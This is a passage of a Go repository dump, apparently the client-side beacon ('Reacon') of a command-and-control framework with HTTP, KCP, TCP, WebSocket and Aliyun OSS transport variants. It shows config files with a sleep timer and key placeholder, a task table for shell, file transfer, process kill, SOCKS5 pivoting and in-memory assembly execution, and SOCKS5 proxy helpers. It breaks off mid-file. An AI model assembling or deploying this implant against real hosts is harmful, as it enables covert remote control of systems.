├── .idea
├── .gitignore
├── vcs.xml
├── modules.xml
└── Rshell-client.iml
├── Reacon_oss
├── .idea
│ ├── .gitignore
│ ├── vcs.xml
│ ├── modules.xml
│ └── Reacon_oss.iml
├── pkg
│ ├── config
│ │ └── config.go
│ ├── services
│ │ ├── types.go
│ │ └── proxy
│ │ │ ├── bufferpool
│ │ │ └── pool.go
│ │ │ ├── server.go
│ │ │ ├── statute
│ │ │ ├── statute.go
│ │ │ ├── addr.go
│ │ │ ├── method.go
│ │ │ └── auth.go
│ │ │ ├── socks5.go
│ │ │ ├── auth.go
│ │ │ └── mux
│ │ │ └── frame.go
│ ├── utils
│ │ ├── utils.go
│ │ └── packet.go
│ ├── sysinfo
│ │ ├── sysinfo_darwin.go
│ │ ├── sysinfo_linux.go
│ │ ├── sysinfo_linux_arm.go
│ │ └── meta.go
│ ├── communication
│ │ ├── communication.go
│ │ └── oss.go
│ ├── commands
│ │ └── commands_linux.go
│ └── encrypt
│ │ └── encrypt.go
├── go.mod
└── go.sum
├── Reacon_kcp
├── pkg
│ ├── config
│ │ └── config.go
│ ├── services
│ │ ├── types.go
│ │ └── proxy
│ │ │ ├── bufferpool
│ │ │ └── pool.go
│ │ │ ├── server.go
│ │ │ ├── statute
│ │ │ ├── statute.go
│ │ │ ├── addr.go
│ │ │ ├── method.go
│ │ │ └── auth.go
│ │ │ ├── socks5.go
│ │ │ ├── auth.go
│ │ │ └── mux
│ │ │ └── frame.go
│ ├── utils
│ │ ├── utils.go
│ │ └── packet.go
│ ├── sysinfo
│ │ ├── sysinfo_darwin.go
│ │ ├── sysinfo_linux.go
│ │ ├── sysinfo_linux_arm.go
│ │ └── meta.go
│ ├── encrypt
│ │ └── encrypt.go
│ ├── communication
│ │ └── communication.go
│ └── commands
│ │ └── commands_linux.go
└── go.mod
├── Reacon_tcp
├── pkg
│ ├── config
│ │ └── config.go
│ ├── services
│ │ ├── types.go
│ │ └── proxy
│ │ │ ├── bufferpool
│ │ │ └── pool.go
│ │ │ ├── server.go
│ │ │ ├── statute
│ │ │ ├── statute.go
│ │ │ ├── addr.go
│ │ │ ├── method.go
│ │ │ └── auth.go
│ │ │ ├── socks5.go
│ │ │ ├── auth.go
│ │ │ └── mux
│ │ │ └── frame.go
│ ├── utils
│ │ ├── utils.go
│ │ └── packet.go
│ ├── sysinfo
│ │ ├── sysinfo_darwin.go
│ │ ├── sysinfo_linux.go
│ │ ├── sysinfo_linux_arm.go
│ │ └── meta.go
│ ├── encrypt
│ │ └── encrypt.go
│ ├── communication
│ │ └── communication.go
│ └── commands
│ │ └── commands_linux.go
├── go.mod
└── go.sum
├── Reacon_websocket
├── pkg
│ ├── config
│ │ └── config.go
│ ├── services
│ │ ├── types.go
│ │ └── proxy
│ │ │ ├── bufferpool
│ │ │ └── pool.go
│ │ │ ├── server.go
│ │ │ ├── statute
│ │ │ ├── statute.go
│ │ │ ├── addr.go
│ │ │ ├── method.go
│ │ │ └── auth.go
│ │ │ ├── socks5.go
│ │ │ ├── auth.go
│ │ │ └── mux
│ │ │ └── frame.go
│ ├── utils
│ │ ├── utils.go
│ │ └── packet.go
│ ├── sysinfo
│ │ ├── sysinfo_darwin.go
│ │ ├── sysinfo_linux.go
│ │ ├── sysinfo_linux_arm.go
│ │ └── meta.go
│ ├── communication
│ │ └── communication.go
│ ├── encrypt
│ │ └── encrypt.go
│ └── commands
│ │ └── commands_linux.go
├── go.mod
└── go.sum
└── Reacon_http
├── go.mod
├── pkg
├── services
│ ├── types.go
│ └── proxy
│ │ ├── bufferpool
│ │ └── pool.go
│ │ ├── server.go
│ │ ├── statute
│ │ ├── statute.go
│ │ ├── addr.go
│ │ ├── method.go
│ │ └── auth.go
│ │ ├── socks5.go
│ │ ├── auth.go
│ │ └── mux
│ │ └── frame.go
├── utils
│ ├── utils.go
│ └── packet.go
├── config
│ └── config.go
├── sysinfo
│ ├── sysinfo_darwin.go
│ ├── sysinfo_linux.go
│ ├── sysinfo_linux_arm.go
│ └── meta.go
├── communication
│ └── communication.go
├── encrypt
│ └── encrypt.go
└── commands
│ ├── commands_linux.go
│ └── execute-assembly_windows.go
└── go.sum
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # 默认忽略的文件
2 | /shelf/
3 | /workspace.xml
4 | # 基于编辑器的 HTTP 客户端请求
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Reacon_oss/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # 默认忽略的文件
2 | /shelf/
3 | /workspace.xml
4 | # 基于编辑器的 HTTP 客户端请求
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/Reacon_oss/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "strings"
5 | "time"
6 | )
7 |
8 | var (
9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 | ExecuteKey = strings.ReplaceAll(pass, " ", "")
11 | WaitTime = 5000 * time.Millisecond
12 | )
13 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "strings"
5 | "time"
6 | )
7 |
8 | var (
9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 | ExecuteKey = strings.ReplaceAll(pass, " ", "")
11 | WaitTime = 5000 * time.Millisecond
12 | )
13 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "strings"
5 | "time"
6 | )
7 |
8 | var (
9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 | ExecuteKey = strings.ReplaceAll(pass, " ", "")
11 | WaitTime = 5000 * time.Millisecond
12 | )
13 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "strings"
5 | "time"
6 | )
7 |
8 | var (
9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 | ExecuteKey = strings.ReplaceAll(pass, " ", "")
11 | WaitTime = 5000 * time.Millisecond
12 | )
13 |
--------------------------------------------------------------------------------
/Reacon_oss/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/Rshell-client.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/Reacon_oss/.idea/Reacon_oss.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/Reacon_tcp/go.mod:
--------------------------------------------------------------------------------
1 | module Reacon
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包
7 | golang.org/x/sys v0.29.0
8 | golang.org/x/text v0.21.0
9 | )
10 |
11 | require (
12 | github.com/Ne0nd0g/go-clr v1.0.3
13 | github.com/google/uuid v1.6.0
14 | golang.org/x/crypto v0.32.0
15 | )
16 |
17 | require (
18 | github.com/go-ole/go-ole v1.2.6 // indirect
19 | github.com/stretchr/testify v1.9.0 // indirect
20 | github.com/tklauser/go-sysconf v0.3.14 // indirect
21 | github.com/tklauser/numcpus v0.8.0 // indirect
22 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
23 | )
24 |
--------------------------------------------------------------------------------
/Reacon_http/go.mod:
--------------------------------------------------------------------------------
1 | module Reacon
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/imroc/req v0.3.2 // 发送http请求的
7 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包
8 | golang.org/x/sys v0.27.0
9 | golang.org/x/text v0.20.0
10 | )
11 |
12 | require (
13 | github.com/Ne0nd0g/go-clr v1.0.3
14 | github.com/google/uuid v1.6.0
15 | golang.org/x/crypto v0.21.0
16 | )
17 |
18 | require (
19 | github.com/go-ole/go-ole v1.2.6 // indirect
20 | github.com/stretchr/testify v1.9.0 // indirect
21 | github.com/tklauser/go-sysconf v0.3.14 // indirect
22 | github.com/tklauser/numcpus v0.8.0 // indirect
23 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
24 | )
25 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/types.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | const (
4 | SLEEP = 21
5 | PAUSE = 22
6 | SHELL = 23
7 | UploadStart = 24
8 | UploadLoop = 25
9 | DOWNLOAD = 26
10 | EXIT = 27
11 | CD = 28
12 | PWD = 29
13 | FileBrowse = 10
14 | EXECUTE = 11
15 | PS = 12
16 | KILL = 13
17 | DRIVES = 14
18 | MKDIR = 15
19 | RM = 16
20 | CP = 17
21 | MV = 18
22 | FileContent = 19
23 | Scoks5Start = 20
24 | Scoks5Close = 30
25 | ExecuteAssembly = 40
26 | InlineBin = 41
27 | )
28 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/types.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | const (
4 | SLEEP = 21
5 | PAUSE = 22
6 | SHELL = 23
7 | UploadStart = 24
8 | UploadLoop = 25
9 | DOWNLOAD = 26
10 | EXIT = 27
11 | CD = 28
12 | PWD = 29
13 | FileBrowse = 10
14 | EXECUTE = 11
15 | PS = 12
16 | KILL = 13
17 | DRIVES = 14
18 | MKDIR = 15
19 | RM = 16
20 | CP = 17
21 | MV = 18
22 | FileContent = 19
23 | Scoks5Start = 20
24 | Scoks5Close = 30
25 | ExecuteAssembly = 40
26 | InlineBin = 41
27 | )
28 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/types.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | const (
4 | SLEEP = 21
5 | PAUSE = 22
6 | SHELL = 23
7 | UploadStart = 24
8 | UploadLoop = 25
9 | DOWNLOAD = 26
10 | EXIT = 27
11 | CD = 28
12 | PWD = 29
13 | FileBrowse = 10
14 | EXECUTE = 11
15 | PS = 12
16 | KILL = 13
17 | DRIVES = 14
18 | MKDIR = 15
19 | RM = 16
20 | CP = 17
21 | MV = 18
22 | FileContent = 19
23 | Scoks5Start = 20
24 | Scoks5Close = 30
25 | ExecuteAssembly = 40
26 | InlineBin = 41
27 | )
28 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/types.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | const (
4 | SLEEP = 21
5 | PAUSE = 22
6 | SHELL = 23
7 | UploadStart = 24
8 | UploadLoop = 25
9 | DOWNLOAD = 26
10 | EXIT = 27
11 | CD = 28
12 | PWD = 29
13 | FileBrowse = 10
14 | EXECUTE = 11
15 | PS = 12
16 | KILL = 13
17 | DRIVES = 14
18 | MKDIR = 15
19 | RM = 16
20 | CP = 17
21 | MV = 18
22 | FileContent = 19
23 | Scoks5Start = 20
24 | Scoks5Close = 30
25 | ExecuteAssembly = 40
26 | InlineBin = 41
27 | )
28 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/types.go:
--------------------------------------------------------------------------------
1 | package services
2 |
3 | const (
4 | SLEEP = 21
5 | PAUSE = 22
6 | SHELL = 23
7 | UploadStart = 24
8 | UploadLoop = 25
9 | DOWNLOAD = 26
10 | EXIT = 27
11 | CD = 28
12 | PWD = 29
13 | FileBrowse = 10
14 | EXECUTE = 11
15 | PS = 12
16 | KILL = 13
17 | DRIVES = 14
18 | MKDIR = 15
19 | RM = 16
20 | CP = 17
21 | MV = 18
22 | FileContent = 19
23 | Scoks5Start = 20
24 | Scoks5Close = 30
25 | ExecuteAssembly = 40
26 | InlineBin = 41
27 | )
28 |
--------------------------------------------------------------------------------
/Reacon_websocket/go.mod:
--------------------------------------------------------------------------------
1 | module Reacon
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包
7 | golang.org/x/sys v0.29.0
8 | golang.org/x/text v0.21.0
9 | )
10 |
11 | require (
12 | github.com/Ne0nd0g/go-clr v1.0.3
13 | github.com/google/uuid v1.6.0
14 | github.com/togettoyou/wsc v1.3.1
15 | golang.org/x/crypto v0.32.0
16 | )
17 |
18 | require (
19 | github.com/go-ole/go-ole v1.2.6 // indirect
20 | github.com/gorilla/websocket v1.4.2 // indirect
21 | github.com/jpillora/backoff v1.0.0 // indirect
22 | github.com/stretchr/testify v1.9.0 // indirect
23 | github.com/tklauser/go-sysconf v0.3.14 // indirect
24 | github.com/tklauser/numcpus v0.8.0 // indirect
25 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
26 | )
27 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | )
7 |
8 | func BytesCombine(pBytes ...[]byte) []byte {
9 | return bytes.Join(pBytes, []byte(""))
10 | }
11 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) {
12 | argLenBytes := make([]byte, 4)
13 | _, err := buf.Read(argLenBytes)
14 | if err != nil {
15 | return nil, err
16 | }
17 | argLen := binary.BigEndian.Uint32(argLenBytes)
18 | if argLen != 0 {
19 | arg := make([]byte, argLen)
20 | _, err = buf.Read(arg)
21 | if err != nil {
22 | return nil, err
23 | }
24 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00")
25 | //return []byte(args[0]), nil
26 | return arg, nil
27 | } else {
28 | return nil, err
29 | }
30 |
31 | }
32 |
--------------------------------------------------------------------------------
/Reacon_oss/go.mod:
--------------------------------------------------------------------------------
1 | module Reacon
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包
7 | golang.org/x/sys v0.29.0
8 | golang.org/x/text v0.21.0
9 | )
10 |
11 | require (
12 | github.com/Ne0nd0g/go-clr v1.0.3
13 | github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible
14 | github.com/google/uuid v1.6.0
15 | golang.org/x/crypto v0.32.0
16 | )
17 |
18 | require (
19 | github.com/go-ole/go-ole v1.2.6 // indirect
20 | github.com/stretchr/testify v1.9.0 // indirect
21 | github.com/tklauser/go-sysconf v0.3.14 // indirect
22 | github.com/tklauser/numcpus v0.8.0 // indirect
23 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
24 | golang.org/x/time v0.10.0 // indirect
25 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
26 | )
27 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "net"
7 | )
8 |
9 | var MetaInfo []byte
10 | var TCPClient *net.TCPConn
11 |
12 | func BytesCombine(pBytes ...[]byte) []byte {
13 | return bytes.Join(pBytes, []byte(""))
14 | }
15 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) {
16 | argLenBytes := make([]byte, 4)
17 | _, err := buf.Read(argLenBytes)
18 | if err != nil {
19 | return nil, err
20 | }
21 | argLen := binary.BigEndian.Uint32(argLenBytes)
22 | if argLen != 0 {
23 | arg := make([]byte, argLen)
24 | _, err = buf.Read(arg)
25 | if err != nil {
26 | return nil, err
27 | }
28 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00")
29 | //return []byte(args[0]), nil
30 | return arg, nil
31 | } else {
32 | return nil, err
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "github.com/xtaci/kcp-go/v5"
7 | )
8 |
9 | var MetaInfo []byte
10 | var KCPClient *kcp.UDPSession
11 |
12 | func BytesCombine(pBytes ...[]byte) []byte {
13 | return bytes.Join(pBytes, []byte(""))
14 | }
15 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) {
16 | argLenBytes := make([]byte, 4)
17 | _, err := buf.Read(argLenBytes)
18 | if err != nil {
19 | return nil, err
20 | }
21 | argLen := binary.BigEndian.Uint32(argLenBytes)
22 | if argLen != 0 {
23 | arg := make([]byte, argLen)
24 | _, err = buf.Read(arg)
25 | if err != nil {
26 | return nil, err
27 | }
28 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00")
29 | //return []byte(args[0]), nil
30 | return arg, nil
31 | } else {
32 | return nil, err
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "github.com/togettoyou/wsc"
7 | )
8 |
9 | var MetaInfo []byte
10 | var WebsocketClient *wsc.Wsc
11 |
12 | func BytesCombine(pBytes ...[]byte) []byte {
13 | return bytes.Join(pBytes, []byte(""))
14 | }
15 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) {
16 | argLenBytes := make([]byte, 4)
17 | _, err := buf.Read(argLenBytes)
18 | if err != nil {
19 | return nil, err
20 | }
21 | argLen := binary.BigEndian.Uint32(argLenBytes)
22 | if argLen != 0 {
23 | arg := make([]byte, argLen)
24 | _, err = buf.Read(arg)
25 | if err != nil {
26 | return nil, err
27 | }
28 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00")
29 | //return []byte(args[0]), nil
30 | return arg, nil
31 | } else {
32 | return nil, err
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "net"
7 | )
8 |
9 | var MetaInfo []byte
10 | var TCPClient *net.TCPConn
11 | var Uid string
12 | var OSSId = 0
13 |
14 | func BytesCombine(pBytes ...[]byte) []byte {
15 | return bytes.Join(pBytes, []byte(""))
16 | }
17 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) {
18 | argLenBytes := make([]byte, 4)
19 | _, err := buf.Read(argLenBytes)
20 | if err != nil {
21 | return nil, err
22 | }
23 | argLen := binary.BigEndian.Uint32(argLenBytes)
24 | if argLen != 0 {
25 | arg := make([]byte, argLen)
26 | _, err = buf.Read(arg)
27 | if err != nil {
28 | return nil, err
29 | }
30 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00")
31 | //return []byte(args[0]), nil
32 | return arg, nil
33 | } else {
34 | return nil, err
35 | }
36 |
37 | }
38 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/bufferpool/pool.go:
--------------------------------------------------------------------------------
1 | package bufferpool
2 |
3 | import (
4 | "sync"
5 | )
6 |
7 | // BufPool is an interface for getting and returning temporary
8 | // byte slices for use by io.CopyBuffer.
9 | type BufPool interface {
10 | Get() []byte
11 | Put([]byte)
12 | }
13 |
14 | type pool struct {
15 | size int
16 | pool *sync.Pool
17 | }
18 |
19 | // NewPool new buffer pool for getting and returning temporary
20 | // byte slices for use by io.CopyBuffer.
21 | func NewPool(size int) BufPool {
22 | return &pool{
23 | size,
24 | &sync.Pool{
25 | New: func() interface{} { return make([]byte, 0, size) }},
26 | }
27 | }
28 |
29 | // Get implement interface BufPool
30 | func (sf *pool) Get() []byte {
31 | return sf.pool.Get().([]byte)
32 | }
33 |
34 | // Put implement interface BufPool
35 | func (sf *pool) Put(b []byte) {
36 | if cap(b) != sf.size {
37 | panic("invalid buffer size that's put into leaky buffer")
38 | }
39 | sf.pool.Put(b[:0]) //nolint: staticcheck
40 | }
41 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/bufferpool/pool.go:
--------------------------------------------------------------------------------
1 | package bufferpool
2 |
3 | import (
4 | "sync"
5 | )
6 |
7 | // BufPool is an interface for getting and returning temporary
8 | // byte slices for use by io.CopyBuffer.
9 | type BufPool interface {
10 | Get() []byte
11 | Put([]byte)
12 | }
13 |
14 | type pool struct {
15 | size int
16 | pool *sync.Pool
17 | }
18 |
19 | // NewPool new buffer pool for getting and returning temporary
20 | // byte slices for use by io.CopyBuffer.
21 | func NewPool(size int) BufPool {
22 | return &pool{
23 | size,
24 | &sync.Pool{
25 | New: func() interface{} { return make([]byte, 0, size) }},
26 | }
27 | }
28 |
29 | // Get implement interface BufPool
30 | func (sf *pool) Get() []byte {
31 | return sf.pool.Get().([]byte)
32 | }
33 |
34 | // Put implement interface BufPool
35 | func (sf *pool) Put(b []byte) {
36 | if cap(b) != sf.size {
37 | panic("invalid buffer size that's put into leaky buffer")
38 | }
39 | sf.pool.Put(b[:0]) //nolint: staticcheck
40 | }
41 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/bufferpool/pool.go:
--------------------------------------------------------------------------------
1 | package bufferpool
2 |
3 | import (
4 | "sync"
5 | )
6 |
7 | // BufPool is an interface for getting and returning temporary
8 | // byte slices for use by io.CopyBuffer.
9 | type BufPool interface {
10 | Get() []byte
11 | Put([]byte)
12 | }
13 |
14 | type pool struct {
15 | size int
16 | pool *sync.Pool
17 | }
18 |
19 | // NewPool new buffer pool for getting and returning temporary
20 | // byte slices for use by io.CopyBuffer.
21 | func NewPool(size int) BufPool {
22 | return &pool{
23 | size,
24 | &sync.Pool{
25 | New: func() interface{} { return make([]byte, 0, size) }},
26 | }
27 | }
28 |
29 | // Get implement interface BufPool
30 | func (sf *pool) Get() []byte {
31 | return sf.pool.Get().([]byte)
32 | }
33 |
34 | // Put implement interface BufPool
35 | func (sf *pool) Put(b []byte) {
36 | if cap(b) != sf.size {
37 | panic("invalid buffer size that's put into leaky buffer")
38 | }
39 | sf.pool.Put(b[:0]) //nolint: staticcheck
40 | }
41 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/bufferpool/pool.go:
--------------------------------------------------------------------------------
1 | package bufferpool
2 |
3 | import (
4 | "sync"
5 | )
6 |
7 | // BufPool is an interface for getting and returning temporary
8 | // byte slices for use by io.CopyBuffer.
9 | type BufPool interface {
10 | Get() []byte
11 | Put([]byte)
12 | }
13 |
14 | type pool struct {
15 | size int
16 | pool *sync.Pool
17 | }
18 |
19 | // NewPool new buffer pool for getting and returning temporary
20 | // byte slices for use by io.CopyBuffer.
21 | func NewPool(size int) BufPool {
22 | return &pool{
23 | size,
24 | &sync.Pool{
25 | New: func() interface{} { return make([]byte, 0, size) }},
26 | }
27 | }
28 |
29 | // Get implement interface BufPool
30 | func (sf *pool) Get() []byte {
31 | return sf.pool.Get().([]byte)
32 | }
33 |
34 | // Put implement interface BufPool
35 | func (sf *pool) Put(b []byte) {
36 | if cap(b) != sf.size {
37 | panic("invalid buffer size that's put into leaky buffer")
38 | }
39 | sf.pool.Put(b[:0]) //nolint: staticcheck
40 | }
41 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/bufferpool/pool.go:
--------------------------------------------------------------------------------
1 | package bufferpool
2 |
3 | import (
4 | "sync"
5 | )
6 |
7 | // BufPool is an interface for getting and returning temporary
8 | // byte slices for use by io.CopyBuffer.
9 | type BufPool interface {
10 | Get() []byte
11 | Put([]byte)
12 | }
13 |
14 | type pool struct {
15 | size int
16 | pool *sync.Pool
17 | }
18 |
19 | // NewPool new buffer pool for getting and returning temporary
20 | // byte slices for use by io.CopyBuffer.
21 | func NewPool(size int) BufPool {
22 | return &pool{
23 | size,
24 | &sync.Pool{
25 | New: func() interface{} { return make([]byte, 0, size) }},
26 | }
27 | }
28 |
29 | // Get implement interface BufPool
30 | func (sf *pool) Get() []byte {
31 | return sf.pool.Get().([]byte)
32 | }
33 |
34 | // Put implement interface BufPool
35 | func (sf *pool) Put(b []byte) {
36 | if cap(b) != sf.size {
37 | panic("invalid buffer size that's put into leaky buffer")
38 | }
39 | sf.pool.Put(b[:0]) //nolint: staticcheck
40 | }
41 |
--------------------------------------------------------------------------------
/Reacon_kcp/go.mod:
--------------------------------------------------------------------------------
1 | module Reacon
2 |
3 | go 1.21
4 |
5 | toolchain go1.24.0
6 |
7 | require (
8 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包
9 | golang.org/x/sys v0.27.0
10 | golang.org/x/text v0.20.0
11 | )
12 |
13 | require (
14 | github.com/Ne0nd0g/go-clr v1.0.3
15 | github.com/google/uuid v1.6.0
16 | github.com/xtaci/kcp-go/v5 v5.6.18
17 | golang.org/x/crypto v0.21.0
18 | )
19 |
20 | require (
21 | github.com/go-ole/go-ole v1.2.6 // indirect
22 | github.com/klauspost/cpuid/v2 v2.2.6 // indirect
23 | github.com/klauspost/reedsolomon v1.12.0 // indirect
24 | github.com/pkg/errors v0.9.1 // indirect
25 | github.com/stretchr/testify v1.9.0 // indirect
26 | github.com/templexxx/cpu v0.1.1 // indirect
27 | github.com/templexxx/xorsimd v0.4.3 // indirect
28 | github.com/tjfoc/gmsm v1.4.1 // indirect
29 | github.com/tklauser/go-sysconf v0.3.14 // indirect
30 | github.com/tklauser/numcpus v0.8.0 // indirect
31 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
32 | golang.org/x/net v0.23.0 // indirect
33 | )
34 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/server.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "bufio"
5 | "errors"
6 | "fmt"
7 | "net"
8 |
9 | "Reacon/pkg/services/proxy/statute"
10 | )
11 |
12 | // ServeConn is used to serve a single connection.
13 | func ServeConn(conn net.Conn) error {
14 | defer conn.Close()
15 | bufConn := bufio.NewReader(conn)
16 |
17 | // The client request detail
18 | request, err := ParseRequest(bufConn)
19 | if err != nil {
20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) {
21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil {
22 | return fmt.Errorf("failed to send reply %w", err)
23 | }
24 | }
25 | return fmt.Errorf("failed to read destination address, %w", err)
26 | }
27 |
28 | if request.Request.Command != statute.CommandConnect &&
29 | request.Request.Command != statute.CommandBind &&
30 | request.Request.Command != statute.CommandAssociate {
31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil {
32 | return fmt.Errorf("failed to send reply, %v", err)
33 | }
34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command)
35 | }
36 |
37 | //request.AuthContext = authContext
38 | request.LocalAddr = conn.LocalAddr()
39 | request.RemoteAddr = conn.RemoteAddr()
40 | // Process the client request
41 | return handleRequest(conn, request)
42 | }
43 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/server.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "bufio"
5 | "errors"
6 | "fmt"
7 | "net"
8 |
9 | "Reacon/pkg/services/proxy/statute"
10 | )
11 |
12 | // ServeConn is used to serve a single connection.
13 | func ServeConn(conn net.Conn) error {
14 | defer conn.Close()
15 | bufConn := bufio.NewReader(conn)
16 |
17 | // The client request detail
18 | request, err := ParseRequest(bufConn)
19 | if err != nil {
20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) {
21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil {
22 | return fmt.Errorf("failed to send reply %w", err)
23 | }
24 | }
25 | return fmt.Errorf("failed to read destination address, %w", err)
26 | }
27 |
28 | if request.Request.Command != statute.CommandConnect &&
29 | request.Request.Command != statute.CommandBind &&
30 | request.Request.Command != statute.CommandAssociate {
31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil {
32 | return fmt.Errorf("failed to send reply, %v", err)
33 | }
34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command)
35 | }
36 |
37 | //request.AuthContext = authContext
38 | request.LocalAddr = conn.LocalAddr()
39 | request.RemoteAddr = conn.RemoteAddr()
40 | // Process the client request
41 | return handleRequest(conn, request)
42 | }
43 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/server.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "bufio"
5 | "errors"
6 | "fmt"
7 | "net"
8 |
9 | "Reacon/pkg/services/proxy/statute"
10 | )
11 |
12 | // ServeConn is used to serve a single connection.
13 | func ServeConn(conn net.Conn) error {
14 | defer conn.Close()
15 | bufConn := bufio.NewReader(conn)
16 |
17 | // The client request detail
18 | request, err := ParseRequest(bufConn)
19 | if err != nil {
20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) {
21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil {
22 | return fmt.Errorf("failed to send reply %w", err)
23 | }
24 | }
25 | return fmt.Errorf("failed to read destination address, %w", err)
26 | }
27 |
28 | if request.Request.Command != statute.CommandConnect &&
29 | request.Request.Command != statute.CommandBind &&
30 | request.Request.Command != statute.CommandAssociate {
31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil {
